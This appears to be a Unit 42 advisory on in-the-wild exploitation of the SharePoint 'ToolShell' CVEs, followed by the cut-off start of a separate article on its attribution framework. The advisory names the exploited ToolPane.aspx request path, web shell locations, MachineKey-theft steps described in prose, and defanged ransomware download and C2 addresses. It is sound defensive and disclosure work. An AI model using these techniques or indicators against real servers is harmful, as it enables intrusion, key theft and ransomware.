In addition to the CVE reports, Microsoft has released further guidance on these vulnerabilities. The vulnerabilities, their CVSS scores and their descriptions are detailed in Table 1.

CVE Number Description CVSS Score
CVE-2025-49704 Improper control of generation of code (code injection) in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. 8.8
CVE-2025-49706 Improper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network. 6.5
CVE-2025-53770 Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an unauthorized attacker to execute code over a network. 9.8
CVE-2025-53771 Improper limitation of a pathname to a restricted directory (path traversal) in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network. 6.5

Table 1. List of recent vulnerabilities affecting Microsoft SharePoint.

These vulnerabilities all apply to Microsoft SharePoint Enterprise Server 2016 and 2019. CVE-2025-49706 and CVE-2025-53770 also apply to Microsoft SharePoint Server Subscription Edition. Microsoft has stated that SharePoint Online in Microsoft 365 is not impacted.

We are currently working closely with the Microsoft Security Response Center (MSRC) to ensure that our customers have the latest information and we are actively notifying affected customers and other organizations. This situation is evolving rapidly, so it’s advisable to check Microsoft’s recommendations frequently.

We have observed active exploitation of these SharePoint vulnerabilities. Active exploitation of ToolShell vulnerabilities began mid-July 2025 and rapidly intensified following the public release of several proof-of-concept (PoC) exploits.

Attackers are bypassing identity controls, including multi-factor authentication (MFA) and single sign-on (SSO), to gain privileged access. Once inside, they’re exfiltrating sensitive data, deploying persistent backdoors and stealing cryptographic keys.

The attackers have leveraged these vulnerabilities to get into systems and in some cases are already establishing their foothold. If you have SharePoint on-premises exposed to the internet, you should assume that you have been compromised. Patching alone is insufficient to fully evict the threat.

We are urging organizations who are running vulnerable on-premises SharePoint to take the following actions immediately:

  • Apply all relevant patches now and as they become available
  • Rotate all cryptographic material
  • Engage professional incident response

Palo Alto Networks also recommends following Microsoft’s patching or mitigation guidance. CVE-2025-49704, CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771.

Additional guidance for CVE-2025-53770 and CVE-2025-53771.

Palo Alto Networks customers are better protected from these vulnerabilities in the following ways:

  • Cortex Xpanse has the ability to identify exposed SharePoint devices on the public internet and escalate these findings to defenders. Customers may also opt into Xpanse Attack Surface Testing.
  • Cortex XDR agents version 8.7 with content version 1870-19884 (or 1880-19902) will block known exploitation activities related to the exploitation chain of CVE-2025-49704 and CVE-2025-49706 and report known exploitation activities related to the chain of CVE-2025-53770 and CVE-2025-53771.
  • Cortex has released a playbook as part of the Cortex Response and Remediation Pack.
  • Cortex Cloud agents version 8.7 with content version 1880-20113 (or 1890-20101) will block known exploitation activities related to the exploitation chain of both CVE-2025-49704, CVE-2025-49706 as well as CVE-2025-53770, CVE-2025-53771.
  • Advanced URL Filtering and Advanced DNS Security identify known IP addresses associated with this activity as malicious.
  • Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block all four CVEs associated with ToolShell: CVE-2025-49704, CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771.
  • The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment.
Vulnerabilities Discussed CVE-2025-49704, CVE-2025-49706, CVE-2025-53770, CVE-2025-53771

Details of the Vulnerabilities

CVE-2025-49704 and CVE-2025-49706 are a critical set of vulnerabilities that impact Microsoft SharePoint, allowing unauthenticated threat actors to access functionality that's normally restricted. When chained together, they allow an attacker to run arbitrary commands on vulnerable instances of Microsoft SharePoint.

Active attacks are targeting on-premises SharePoint Server customers by exploiting a variant of CVE-2025-49706. This new variant has been assigned CVE-2025-53770. Microsoft has also announced a fourth SharePoint vulnerability assigned CVE-2025-53771.

What makes these vulnerabilities especially concerning is SharePoint’s deep integration with Microsoft’s platform, including their services like Office, Teams, OneDrive and Outlook, which have significant information that’s valuable to attackers. A compromise in this situation doesn’t stay contained, it opens the door to the entire network.

Current Scope of the Attack Using CVE-2025-49706, CVE-2025-49704, CVE-2025-53770 and CVE-2025-53771

Update July 31, 2025 – Exploitation of ToolShell for Ransomware

​​An investigation into ToolShell exploitation revealed the deployment of 4L4MD4R ransomware, a variant of the open-source Mauri870 ransomware. A failed exploitation attempt on July 27, 2025, involving an encoded PowerShell command, led to the discovery of a loader designed to download and execute the ransomware from hxxps://ice.theinnovationfactory[.]it/static/4l4md4r.exe (145.239.97[.]206). The PowerShell command attempted to disable real-time monitoring and bypass certificate validation.

Analysis of the 4L4MD4R payload revealed that it is UPX-packed and written in GoLang. Upon execution, the sample decrypts an AES-encrypted payload in memory, allocates memory to load the decrypted PE file, and creates a new thread to execute it. The ransomware encrypts files and demands a ransom of 0.005 BTC, providing a contact email (m4_cruise@proton[.]me) and a Bitcoin wallet address (bc1qqxqe9vsvjmjqc566fgqsgnhlh87fckwegmtg6p) for payment.

The ransomware generates two files on the desktop: DECRYPTION_INSTRUCTIONS.html (the ransom note) and ENCRYPTED_LIST.html (a list of encrypted files), as it's observed in Mauri870 ransomware source code. Additionally, the sample had a configured C2 server bpp.theinnovationfactory[.]it:445 that sends the encrypted JSON object via a POST request.

Figure 1a and 1b show the ransom note and the decryption instructions from the attackers, respectively.

A ransom note displayed on a computer screen, with text demanding payment in cryptocurrency to decrypt files, and warning not to contact authorities or tamper with the data. The note includes instructions for payment and threatens to delete files if demands are not met.
Figure 1a. Ransom note from 4L4MD4R.
Screenshot of a computer screen displaying a ransomware note named "DECRYPTION_INSTRUCTIONS.txt" in a text editor. The note demands a Bitcoin payment for file decryption and provides contact information. Some information is redacted for privacy purposes.
Figure 1b. Decryption instructions.

Update July 29, 2025 – Overlap of Activity With Storm-2603

Unit 42 collected and analyzed activity related to CVE-2025-53770 exploitation attempts from internal telemetry sources. We first observed CVE-2025-53770 exploitation on July 17, 2025, as early as 08:40 UTC, through July 22, 2025, from IP addresses we track in a cluster named CL-CRI-1040. Starting at July 17, 2025, 06:58 UTC, we observed IP addresses associated with CL-CRI-1040 testing SharePoint servers to check if they were vulnerable before exploitation attempts. Also, we noticed a pattern in exploitation attempts that suggests the actors are using a static targeting list of SharePoint servers.

The actors associated with this activity appear to have adjusted their tactics and techniques within this short time frame by rapidly changing infrastructure and payloads in an attempt to evade detection. These actors pivoted from delivering .NET modules as payloads upon successful exploitation to a web shell payload with similar functionality. After the web shells were discussed in public blogs, we observed the actors reverting back to delivering the previously seen .NET modules as payloads.

From an attribution perspective, one of the IP addresses exploiting CVE-2025-53770 as part of CL-CRI-1040 overlaps with the Storm-2603 cluster discussed by Microsoft. We are currently researching this cluster to gain further insight into the actors involved.

Initial Reconnaissance

Before attempting to exploit CVE-2025-53770, the threat actors appeared to perform an initial phase of reconnaissance to make sure the remote servers were running a vulnerable version of SharePoint. Starting July 17, 2025, 06:58 UTC, we observed HTTP GET requests for /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx with a User-Agent of python-requests/2.32.3 and no referrer field from the following IP addresses:

  • 45.86.231[.]241
  • 51.161.152[.]26
  • 91.236.230[.]76
  • 92.222.167[.]88

According to Cortex Xpanse telemetry, all of these IP addresses are exit nodes associated with the Safing Privacy Network (SPN). We believe the actor attempted to hide their location by using SPN to send these HTTP GET requests from a test script to check the actor's targeting list prior to exploitation attempts. We believe the actor was using a targeting list due to the same sequential order in the HTTP GET requests to the HTTP POST requests from the exploitation attempts from the following IP addresses:

  • 96.9.125[.]147
  • 107.191.58[.]76
  • 104.238.159[.]149

Payloads Delivered

As previously mentioned, the following IP addresses are associated with CL-CRI-1040 even though they deliver different payloads upon successful exploitation of CVE-2025-53770:

  • 96.9.125[.]147
  • 107.191.58[.]76
  • 104.238.159[.]149

Telemetry confirmed that 96.9.125[.]147 initiated SharePoint vulnerability exploitation at 08:58 UTC on July 17, delivering a custom .NET assembly module named qlj22mpc as a payload. The next day, on July 18, the IP address delivered a new payload named bjcloiyq. Both of these .NET modules would exfiltrate cryptographic MachineKeys from the SharePoint server in a pipe delimited (“|”) string within the HTTP response that the actor could use for future access to the server.

On July 18 and 19, the CL-CRI-1040 IP addresses 107.191.58[.]76 and 104.238.159[.]149 delivered a completely new payload upon successful exploitation of CVE-2025-53770. Instead of running a .NET module after exploiting the vulnerability, these IP addresses delivered a payload that runs an encoded PowerShell command discussed in the Variation 2 and Variation 3 sections to save to a web shell to spinstall0.aspx.

This web shell was delivered to exfiltrate cryptographic MachineKeys from the SharePoint server in a pipe delimited (“|”) string when accessing spinstall0.aspx, which responds with the same MachineKeys fields in the same order as the previously mentioned .NET modules.

The actors associated with CL-CRI-1040 who exploit CVE-2025-53770 show an ability to adjust their tactics and techniques during an operation. They pivoted from .NET modules as payloads to a web shell payload with similar functionality. They then reverted back to using .NET modules as payloads after the web shells were discussed in public blogs, such as Eye Security’s research blog on the exploitation of CVE-2025-53770.

Targeting List

We noticed a targeting pattern that suggests the actors employed a targeting list. We ordered their activity based on time and took a sampling of the activity across four distinct targets. We will refer to the targets as IPv4 1, IPv4 2, IPv4 3 and Domain 1 to redact the impacted organizations.

First, we observed 91.236.230[.]76 performing HTTP GET requests for /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx in the following order:

  • IPv4 1 – July 17, 2025, 07:29 UTC
  • IPv4 2 – July 17, 2025, 07:32 UTC
  • IPv4 3 – July 17, 2025, 07:33 UTC
  • Domain 1 – July 17, 2025, 07:52 UTC

We then observed the 96.9.125[.]147 IP address issuing HTTP POST requests for /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx with a referrer of /_layouts/SignOut.aspx when attempting to exploit the SharePoint vulnerability on the same target aliases in the same order:

  • IPv4 1 – July 17, 2025, 09:31 UTC
  • IPv4 2 – July 17, 2025, 09:36 UTC
  • IPv4 3 – July 17, 2025, 09:37 UTC
  • Domain 1 – July 17, 2025, 10:17 UTC

The next day, on July 18, 2025, we saw 107.191.58[.]76 issuing an HTTP POST request to /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx followed by an HTTP GET request to /_layouts/15/spinstall0.aspx in the same order:

  • IPv4 1 – July 18, 2025, 14:01 UTC
  • IPv4 2 – July 18, 2025, 14:05 UTC
  • IPv4 3 – July 18, 2025, 14:07 UTC
  • Domain 1 – July 18, 2025, 15:01 UTC

Lastly, the next day (July 19, 2025) we saw the same HTTP POST and GET request activity from 104.238.159[.]149 as 107.191.58[.]76:

  • IPv4 1 – July 19, 2025, 03:43 UTC
  • IPv4 2 – July 19, 2025, 03:48 UTC
  • IPv4 3 – July 19, 2025, 03:49 UTC
  • Domain 1 – July 19, 2025, 04:41 UTC

The pattern above shows the same sequence of targets with a similar delta between the individual events across the initial set of testing requests, followed by the three sets of exploitation requests.

Attribution

The CL-CRI-1040 IP address 104.238.159[.]149 seen exploiting CVE-2025-53770 was also attributed by Microsoft to their cluster named Storm-2603. Microsoft also mentioned that Storm-2603 delivered a web shell named spinstall0.aspx with a SHA256 hash of 92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514, which is a direct overlap with our observations of activity associated with 104.238.159[.]149. We assess with moderate confidence that CL-CRI-1040 overlaps with Storm-2603 and will continue to analyze activity associated with CL-CRI-1040 to gain more insight into this cluster.

Unit 42, and other organizations including Microsoft, have observed widespread active exploitation of these vulnerabilities.

Our telemetry reveals a clear evolution in the SharePoint ToolShell attack campaign, progressing through two distinct phases:

  • A pre-PoC phase
  • A widespread post-PoC phase

Based on endpoint telemetry, we have created an activity volume representation that illustrates patterns observed over time, shown in Figure 2.

Bar chart titled "Activity Volume Over Time" showing fluctuations in activity volume across various dates. The Y-axis shows the activity volume and the X-axis shows the date range, which goes from July 17, 2025 to July 24, 2025.
Figure 2. Activity volume over time based on endpoint telemetry.

Activity Timeline

  • May 17, 2025: Cyber Security News reported that at Pwn2Own Berlin, Dinh Ho Anh Khoa (@_l0gg) of Viettel Cyber Security chained together two vulnerabilities in SharePoint to gain unauthorized access. These would become CVE-2025-49704 and CVE-2025-49706. @l0gg later named this attack chain “ToolShell.”
  • July 8, 2025: Microsoft published CVE-2025-49704 and CVE-2025-49706. At the time of publishing, Microsoft indicated that exploitation had not yet been seen.
  • July 14, 2025: Less than a week after the CVE records were published, the offensive security team from Code White GmbH demonstrated that they could reproduce an unauthenticated exploit chain associated with these vulnerabilities in SharePoint.
  • July 19, 2025: Microsoft published information on CVE-2025-53770 and CVE-2025-53771. Exploitation had already been seen at the time of publication and Microsoft noted that CVE-2025-53770 was a variant of CVE-2025-49706.
  • As of July 21, 2025, multiple PoC have been posted on GitHub.

Unit 42 Managed Threat Hunting Team has identified three different variations of exploitation activity, as early as July 17.

Variation 1

In this variation, we observed a command execution of a command shell invoking a PowerShell command. It attempted to iterate through web.config files on the endpoint and store the contents of those files into a file named debug_dev.js.

Figure 3 shows the commands observed.

Screenshot displaying code in a text editor, involving paths and extensions.
Figure 3. Commands seen in active exploitation of the SharePoint vulnerability.

The commands shown in Figure 3 perform the following actions:

  • Setting the source directory to iterate over for web.config files
  • Creating an empty file named debug_dev.js
  • Iterating over the source directory for web.config files
  • If the web.config file exists, adding the data from web.config to debug_dev.js

Variation 2

In another variation, we observed the IIS Process Worker (w3wp.exe) invoking a command shell to execute a Base64-encoded PowerShell command shown below in Figure 4.

Screenshot of a computer code, featuring lines of encoded and decoded Base64 strings with file paths and system commands.
Figure 4. Base64-encoded PowerShell command seen in this variation.

The command noted in Figure 4 creates a file at C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx and then decodes the contents of the Base64 string contained at variable, $base64string, to the file. The spinstall0.aspx file is a web shell that can execute various functions to retrieve ValidationKeys, DecryptionKeys and the CompatabilityMode of the server, which are needed to forge ViewState Encryption keys.

Figure 5 shows the content of the spinstall0.aspx file created by the command from Figure 4.

Screenshot displaying code, featuring a script that makes reference to namespaces.
Figure 5. Content of spinstall0.aspx.

Variation 3

This variation is almost identical to Variation 2, but with a few minor differences:

  • Writing the spinstall0.aspx file to the following path: C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\15\TEMPLATE\LAYOUTS\spinstall0.aspx
    • The difference being the directory of 15 versus 16
  • Renaming of variables to single characters
  • Calling the sleep function at the end

Figure 6 below shows an example of this variation.

Screenshot of a computer screen displaying blocks of programming code.
Figure 6. Variation 3 of the exploitation activity.

Interim Guidance

Palo Alto Networks and Unit 42 are working closely with the MSRC and recommend the following critical steps:

  • Contain the threat: Immediately disconnect vulnerable on-premises SharePoint servers from the internet until they can be fully secured and remediated.
  • Patch and harden: Apply all relevant security patches from Microsoft as they become available. Crucially, all cryptographic material must be rotated, and associated credentials must be reset.
  • Engage professional incident response: A false sense of security can lead to prolonged exposure. We strongly urge affected organizations to engage a professional incident response team to conduct a thorough compromise assessment, hunt for established backdoors and ensure the threat is fully eradicated from the environment.

Palo Alto Networks also recommends following Microsoft’s patching or mitigation guidance:

See Microsoft’s additional guidance for CVE-2025-53770 and CVE-2025-53771. Microsoft states that the update for CVE-2025-53770 includes more robust protections than the update for CVE-2025-49704. The update for CVE-2025-53771 includes more robust protections than the update for CVE-2025-49706.

Update July 25, 2025: Microsoft recommends the following for machine key rotation.

  1. Apply Microsoft’s security update
  2. Rotate ASP.NET machine keys
  3. Restart the IIS web server

Unit 42 Managed Threat Hunting Queries

The Unit 42 Managed Threat Hunting team continues to track any attempts to exploit these vulnerabilities across our customers, using Cortex XDR and the XQL queries below. Cortex XDR customers can also use these XQL queries to search for signs of exploitation.

Conclusion

Based on observations of in-the-wild exploitation and the ease and effectiveness of this exploit, Palo Alto Networks highly recommends following Microsoft’s guidance to protect your organization. Palo Alto Networks and Unit 42 will continue to monitor the situation for updated information.

Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Palo Alto Networks customers are better protected by our products, as listed below. We will update this threat brief as more relevant information becomes available.

Palo Alto Networks Product Protections for Active Exploitation of Microsoft SharePoint Vulnerabilities

Palo Alto Networks customers can leverage a variety of product protections and updates to identify and defend against this threat.

If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Next-Generation Firewalls With Advanced Threat Prevention

Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block CVE-2025-49704, CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771 exploitation via the following Advanced Threat Prevention signatures: 96481, 96436 and 96496.

Cloud-Delivered Security Services for the Next-Generation Firewall

Advanced URL Filtering and Advanced DNS Security identify known IP addresses associated with this activity as malicious.

Cortex

Cortex has released a playbook as part of the Cortex Response and Remediation Pack.

Triggered by a SharePoint “ToolShell” alert or a manual kick‑off, the playbook first fingerprints every SharePoint host via a lightweight XQL query. It then hunts in parallel for:

  • Newly written web shells on the disk
  • Traffic logs for the CVE exploitation and web shell access
  • .NET telemetry to pull attacker IPs and payloads
  • IoCs that merge Unit 42 indicators with locally extracted data
  • Pre- and post-exploitation behavior

Any confirmed indicators are automatically blocked.

The run closes by surfacing machine key rotation, the July 2025 patch links and a centralized view of threat hunting findings.

Cortex Cloud

Cortex Cloud version 1.2 can find the vulnerabilities and block known exploitation activities related to the exploitation chain of CVE-2025-49704 and CVE-2025-49706 and report known exploitation activities related to the chain of CVE-2025-53770 and CVE-2025-53771.

Cortex XDR and XSIAM

Cortex XDR agents version 8.7 with content version 1880-20113 (or 1890-20101) will block known exploitation activities related to the exploitation chain of both CVE-2025-49704, CVE-2025-49706 as well as CVE-2025-53770, CVE-2025-53771. Customers are advised to review the email sent to them by Product Management to ensure receiving said protection.

Cortex Xpanse

Cortex Xpanse has the ability to identify exposed SharePoint devices on the public internet and escalate these findings to defenders. Customers may also opt into Xpanse Attack Surface Testing, which allows customers to initiate an external vulnerability scan for CVE-2025-53770 across their exposed SharePoint servers. Customers can enable alerting internet-exposed SharePoint by ensuring that the SharePoint Server Attack Surface Rule is enabled. Identified findings can either be viewed in the Threat Response Center or in the incident view of Expander. These findings are also available for Cortex XSIAM customers who have purchased the ASM module.

Indicators of Compromise

Table 2 shows a list of indicators associated with SharePoint exploitation activity observed by Unit 42 and their description.

Indicator Description
107.191.58[.]76 Exploitation source, delivered spinstall0.aspx
104.238.159[.]149 Exploitation source, delivered spinstall0.aspx
96.9.125[.]147 Exploitation source, modules qlj22mpc and bjcloiyq
139.144.199[.]41 Exploitation source
89.46.223[.]88 Exploitation source
45.77.155[.]170 Exploitation source
154.223.19[.]106 Exploitation source
185.197.248[.]131 Exploitation source
149.40.50[.]15 Exploitation source
64.176.50[.]109 Exploitation source
149.28.124[.]70 Exploitation source
206.166.251[.]228 Exploitation source
95.179.158[.]42 Exploitation source
86.48.9[.]38 Exploitation source
128.199.240[.]182 Exploitation source
212.125.27[.]102 Exploitation source
91.132.95[.]60 Exploitation source
C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx File created after encoded command run
C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\15\TEMPLATE\LAYOUTS\spinstall0.aspx File created after encoded command run
C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js File created after PowerShell command run
4A02A72AEDC3356D8CB38F01F0E0B9F26DDC5CCB7C0F04A561337CF24AA84030 .NET module qlj22mpc - initial hash observed
B39C14BECB62AEB55DF7FD55C814AFBB0D659687D947D917512FE67973100B70 .NET module bjcloiyq
FA3A74A6C015C801F5341C02BE2CBDFB301C6ED60633D49FC0BC723617741AF7 .NET module - targeting ViewState
390665BDD93A656F48C463BB6C11A4D45B7D5444BDD1D1F7A5879B0F6F9AAC7E .NET module
66AF332CE5F93CE21D2FE408DFFD49D4AE31E364D6802FFF97D95ED593FF3082 .NET module
7BAF220EB89F2A216FCB2D0E9AA021B2A10324F0641CAF8B7A9088E4E45BEC95 .NET module
92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514
 spinstall0.aspx webshell
33067028e35982c7b9fdcfe25eb4029463542451fdff454007832cf953feaf1e 4L4MD4R ransomware sample
hxxps[:]//ice[.]theinnovationfactory[.]it/static/4l4md4r.exe URL for 4L4MD4R ransomware download and execution
bpp.theinnovationfactory[.]it C2 server for 4L4MD4R ransomware
145.239.97[.]206 C2 domain for 4L4MD4R ransomware

Table 2. Indicators associated with SharePoint exploitation activity observed by Unit 42.

Additional Resources

Updated July 21 at 7:00 p.m. ET to clarify chaining description.

Updated July 22 at 7:30 a.m. PT to add additional Palo Alto Networks product protections language and eight additional indicators. 

Updated July 22 at 11:30 a.m. PT to add additional Palo Alto Networks product protections language for Next Generation Firewalls including Threat Prevention signatures. Also added new mitigation information from Microsoft on machine key rotation. 

Updated July 22 at 3:00 p.m. PT to update Table 1 including revised CVSS scores. Also updated the second Managed Threat Hunting query. 

Updated July 24 at 7:15 a.m. PT to include product protections information for Cortex Cloud. Added Additional Resources section. 

Updated July 24 at 3:25 p.m. PT to update some language in Executive Summary, changing "on-premises" to "self-hosted" and "cloud" to "SaaS." Updated Additional Resources. 

Updated July 25 at 3:35 p.m. PT to add more information on attack scope, including graph of activity volume over time. Added Cortex Playbook to Product Protections section as well as an additional Threat Prevention signature. Updated Cortex XDR protections information. Updated advice from Microsoft on machine key rotation.

Updated July 29 at 4:00 p.m. PT with a significant update on threat group activity tracked as CL-CRI-1040 with some activity overlapping with Storm-2603. Added details to Scope of Attack section including Initial Reconnaissance, Payloads Delivered, Targeting List and Attribution sections. Updated the Indicators of Compromise section and added an initial indicator.  

Updated July 31 at 3:30 p.m. PT with a significant update on 4L4MD4R ransomware delivered via exploitation of ToolShell to the Scope of Attack section. Added related indicators to Indicators of Compromise section. 

Updated August 12 at 5:00 p.m. PT to note that all four CVEs are covered with Advanced Threat Prevention.

Introducing Unit 42’s Attribution Framework

Posted on by Kyle Wilhoit

Executive Summary

Threat actor attribution has traditionally been considered more art than science, often relying heavily on a few threat researchers to confirm observed activity. This approach is unsustainable and contributes to confusion in naming threat groups. We have addressed this by creating the Unit 42 Attribution Framework, while leveraging the excellent work of the Diamond Model of Intrusion Analysis.

The Unit 42 Attribution Framework provides a systematic approach for analyzing threat data. This framework facilitates the attribution of observed activities to formally named threat actors, temporary threat groups or activity clusters. A core component is the integration of the Admiralty System, where we assign default scores for reliability and credibility to each evidentiary object. This methodology, which allows for researcher discretion in adjusting scores, is fundamental to the tracking of threats and elevates the efficacy of intelligence collection and analysis.

  • Reliability: Assesses the trustworthiness of the source, including its capacity to provide accurate information
  • Credibility: Determines whether the information can be corroborated by other sources

We apply this framework across a broad spectrum of threat data, including:

  • Tactics, techniques and procedures (TTPs)
  • Tooling, commands and configurations of tool sets
  • Malware code analysis and reverse engineering
  • Operational security (OPSEC) consistency
  • Timeline analysis
  • Network infrastructure
  • Victimology and targeting

As we gather and analyze this threat data, we initially track it as activity clusters. We track these clusters over time. If we identify overlaps, we combine them as appropriate. We elevate clusters to temporary threat groups as we gain more insights. We declare a named threat group (using our constellation naming schema) only when sufficient visibility is achieved. This systematic progression prevents premature naming and ensures a consistent model for assigning group names.

Related Unit 42 Topics Nomenclature, Bookworm, Stately Taurus

Levels of Attribution

Threat intelligence is essential for stakeholders to make informed security decisions, offering both tactical and strategic insights. Attribution provides value at multiple levels. Even without definitively identifying the specific actor or country of origin, various degrees of attribution can still yield valuable results. The Unit 42 Attribution Framework outlines three distinct levels:

  • Activity clusters
  • Temporary threat groups
  • Named threat actors

Figure 1 illustrates these levels of attribution in a timeline from activity clusters to a named threat actor.

Flowchart depicting cybersecurity threat analysis over time, including "Activity Clusters" with labels like IoC and TTP, leading into "Temporary Threat Groups" identified as TGR-CR-0147 and TGR-CR-0185, and concluding with a "Named Threat Actor" called Stinky Libra, represented by a stylized graphic. The process is measured over time.
Figure 1. The Unit 42 Attribution Framework - three levels of tracked activity.

Level 1: Activity Clusters

Attribution begins by assigning observed activity to a cluster, either by creating a new cluster or by linking the activity to a pre-existing one. During the investigation of threat activity or an intrusion, threat analysts gather various types of information, including:

  • Infrastructure (e.g., IP addresses, domains, URLs)
  • Capabilities (e.g., malware, tools, TTPs)
  • Victims and targeting (e.g., organizations, industries, regions, temporal overlaps)

A single isolated event is usually not sufficient to form an activity cluster. While we sometimes allow singular observations to be activity clusters, in most cases we require at least two or preferably more, related events or observables. “Related” could mean:

  • Shared indicators of compromise (IoCs)
  • Similar TTPs
  • Targeting the same organization or industry
  • Occurring within a short time frame

Then we perform the following steps:

  • Clearly articulate the rationale for grouping these events into a cluster
  • Explain the shared characteristics and why we believe they are linked beyond coincidence

This justification is crucial for transparency and allows others to understand our reasoning.

For example, we might observe the following events:

  • Event 1: A phishing email targeting a financial institution containing a malicious attachment with a file that has a specific SHA256 hash
  • Event 2: A different financial institution reporting a malware infection with the same SHA256 hash
  • Event 3: Open-source intelligence (OSINT) from a blog post linking this SHA256 hash to a suspected phishing campaign

These events would be sufficient to create an activity cluster. This example contains multiple related events (i.e., phishing and malware infection) with overlapping IoCs (i.e., SHA256 hash) and potential victim overlap (i.e., financial institutions). The OSINT provides additional context.

We name activity clusters based on their assessed motivation using the prefix CL- followed by a motivation tag and a unique number. Motivation tags are:

  • UNK: Unknown motivation
  • STA: State-sponsored motivation
  • CRI: Crime-motivated
  • MIX: A mix of STA and CRI

An example of a suspected state-sponsored activity cluster name would be CL-STA-0001.

What's not needed for an activity cluster:

  • High-confidence attribution: We don't need to know who is behind the activity to create a cluster. Activity clusters are for grouping related activities, even if the actor is unknown.
  • Complete attack lifecycle mapping: We don't need to understand the full attack lifecycle at the cluster stage. We can form activity clusters based on partial information.
Note: In threat intelligence, activity cluster and campaign are related terms used to describe adversary activity. These terms signify different levels of organization and understanding.

An activity cluster refers to a collection of observed behaviors, IoCs and TTPs that appear connected. At this initial stage of analysis, the full context of a coordinated effort is lacking, meaning there's no clear understanding of the overarching objective or the complete attack lifecycle. Attribution may be low or uncertain.

A campaign represents a higher level of organization and understanding. It involves a series of coordinated activities, often attributed to a specific threat actor or group, undertaken with a defined objective (e.g., espionage, financial gain, disruption). A campaign implies a deliberate and planned effort with a clear goal. This typically spans a specific time frame and encompasses multiple phases such as reconnaissance, intrusion and exploitation.

Consider a jigsaw puzzle analogy:

  • An activity cluster is like having a few puzzle pieces that seem to fit, but without the box cover, we don't know the final image.
  • A campaign is like having many puzzle pieces and understanding the overall picture (the objective), while seeing how the pieces fit together to form a coherent image (the coordinated activities).

Level 2: Temporary Threat Group

Temporary threat groups represent the second level of attribution. This concept allows us to elevate activity clusters to a more established category when we are confident a single actor is involved in the threat activity. This is true even when we lack sufficient information to attribute the activity to a named threat actor.

Establishing temporary threat groups enables more focused tracking and analysis of a threat actor's operations while we develop the intelligence picture further.

Before we can migrate an activity cluster to a temporary threat group, it is essential to conduct rigorous checks of the collected intelligence data to ensure the grouping accurately reflects a single, distinct threat actor. An essential component of creating a temporary threat group is the mapping of identified threat activity according to the formal method of intrusion analysis known as the Diamond Model [PDF].

A thorough investigation will enable a more nuanced understanding of the activity from one or more clusters, moving beyond superficial similarities. This deeper analysis is crucial for confidently migrating an activity cluster to a temporary threat group and establishing the foundation for potential future attribution to a named threat actor. Meticulous documentation of findings and rationale is essential for transparency and reproducibility.

To minimize the chance of attributing unrelated, opportunistic events to the same threat actor, we observe the activity for at least six months. This duration ideally provides enough direct observations through case work to demonstrate persistent behavior and confirm the observed activity belongs to the same group.

We name temporary threat groups based on their assessed motivation using the prefix TGR- followed by a motivation tag and a unique number. Motivation tags are as follows:

  • UNK: Unknown motivation
  • STA: State-sponsored motivation
  • CRI: Crime-motivated
  • MIX: A mix of STA and CRI

For example, a suspected state-sponsored temporary threat group name looks like TGR-STA-0001.

Level 3: Named Threat Actor/Country

When an intrusion occurs, we often want to identify the perpetrators. However, attribution requires careful consideration to mitigate inherent biases.

Publicly associating an attack with a specific threat actor or country of origin can have significant repercussions. For example, destructive threat actors might launch retaliatory attacks. If an association is incorrect, this could lead to intelligence consumers misprioritizing security controls.

Any public mention of an association between activity and a named threat actor must include appropriate estimative language to convey our confidence levels regarding the connection. This prevents misattribution within the community and misspent resources from our stakeholders.

Promoting a temporary threat group to a named threat actor (i.e., giving a Unit 42 Constellation name) is a significant step that requires a high confidence assessment and compelling evidence. This requires strong evidence from multiple reliable sources, including internal telemetry, trusted partners and corroborated OSINT. We map the activity to all four vertices of the Diamond Model (adversary, infrastructure, capability, victim) with multiple tracked items for each of the vertices.

Determining Motivation: Cybercrime Vs. Nation-state Vs. Mixed

As part of the attribution process, we must consider:

  • The threat actor’s motivations — where possible — based on their activities (e.g., stealing sensitive data, destruction of systems, demanding ransom)
  • Victimology
  • Possible overlaps with known activity

Determining this motivation provides the label within the activity cluster or temporary threat group name, moving from the initial unknown (UNK) state to either cybercrime (CRI) or nation-state (STA), or MIX for a combination of the two. The CRI, STA and MIX labels apply to activity clusters and temporary threat groups, as we must know the motivation of a group prior to graduating to a named threat actor.

Minimum Standards for Levels of Attribution

We leverage a set of minimum standards for each level of attribution to ensure analytical rigor, credibility and accuracy of our intelligence reporting.

Below, we outline some of the considerations that we have established to manage the promotion of activity through our Attribution Framework. We group these by type of analysis, and then describe how the considerations play out at each level of attribution.

TTP Analysis

  • Activity clusters
    • Groupings of similar TTPs: This includes using the same malware family, exploitation techniques or command-and-control (C2) infrastructure.
  • Temporary threat groups
